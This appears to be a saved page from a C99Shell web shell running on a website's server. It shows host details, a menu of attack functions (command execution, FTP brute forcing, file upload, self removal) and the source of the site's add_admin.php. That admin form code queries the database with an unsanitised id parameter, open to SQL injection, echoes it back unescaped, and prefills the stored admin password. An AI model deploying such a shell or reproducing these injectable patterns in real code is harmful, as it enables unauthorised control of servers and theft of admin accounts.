!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/home/www/jothidam.tv/admin/   drwxr-xr-x
Free 3293.43 GB of 8036.44 GB (40.98%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     add_admin.php (4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include('include/header.php');
include(
'include/conn.php');
error_reporting(E_ALL);
ini_set('display_errors'1);

$id = isset($_GET['id']) ? $_GET['id'] : '';
$admin = [
    
'Admin_Name' => '',
    
'Admin_EmailID' => '',
    
'Admin_Mobile' => '',
    
'Admin_Type' => '',
    
'Admin_Pwd' => '',
    
'Admin_Desc' => ''
];

if (
$id) {
    
$query mysqli_query($conn"SELECT * FROM admin_login WHERE Admin_ID='$id'");
    if (
$query && mysqli_num_rows($query) > 0) {
        
$admin mysqli_fetch_assoc($query);
    }
}
?>

<link href="https://cdn.datatables.net/1.12.1/css/jquery.dataTables.min.css" rel="stylesheet" type="text/css">
<link href="https://cdn.datatables.net/buttons/2.2.3/css/buttons.dataTables.min.css" rel="stylesheet" type="text/css">

<style type="text/css">
    .dt-buttons {
        width: 50%;
    }
</style>

<!-- begin MAIN PAGE CONTENT -->
<div id="page-wrapper" style="min-height:142vh;">
    <div class="page-content">
        <!-- begin PAGE TITLE ROW -->
        <div class="row">
            <div class="col-lg-12">
                <div class="page-title">
                    <h1><?= $id 'Edit' 'Add New' ?> Admin User</h1>
                </div>
            </div>

            <div class="col-md-12">
                <form action="./actions/admin_user.php" method="post" enctype="multipart/form-data">
                    <input type="hidden" name="admin_id" value="<?= $id ?>">
                    <div class="col-md-6">
                        <div class="form-group">
                            <label>Name</label>
                            <input type="text" name="Admin_Name" class="form-control" value="<?= $admin['Admin_Name'?>">
                        </div>
                    </div>
                    <div class="col-md-6">
                        <div class="form-group">
                            <label>Email</label>
                            <input type="email" name="Admin_EmailID" class="form-control" value="<?= $admin['Admin_EmailID'?>">
                        </div>
                    </div>
                    <div class="col-md-6">
                        <div class="form-group">
                            <label>Mobile</label>
                            <input type="text" name="Admin_Mobile" class="form-control" value="<?= $admin['Admin_Mobile'?>">
                        </div>
                    </div>
                    <div class="col-md-6">
                        <div class="form-group">
                            <label>Type</label>
                            <select name="Admin_Type" class="form-control">
                                <option value="Super Admin" <?= $admin['Admin_Type'] == 'Super Admin' 'selected' '' ?>>Super Admin</option>
                                <option value="Admin" <?= $admin['Admin_Type'] == 'Admin' 'selected' '' ?>>Admin</option>
                                <option value="Author" <?= $admin['Admin_Type'] == 'Author' 'selected' '' ?>>Author</option>
                            </select>
                        </div>
                    </div>
                    <div class="col-md-6">
                        <div class="form-group">
                            <label>Password</label>
                            <input type="password" name="Admin_Password" class="form-control" value="<?= $admin['Admin_Pwd'?>">
                        </div>
                    </div>
                    <div class="col-md-6">
                        <div class="form-group">
                            <label>Description</label>
                            <textarea name="Admin_Desc" class="form-control"><?= $admin['Admin_Desc'?></textarea>
                        </div>
                    </div>
                    <div class="col-md-12" style="margin: 20px;">
                        <input type="submit" name="submit" value="Submit" class="btn btn-success text-white" style="width: 80%;">
                    </div>
                </form>
            </div>
        </div>
    </div>
</div>
<?php include('include/footer.php'); ?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0116 ]--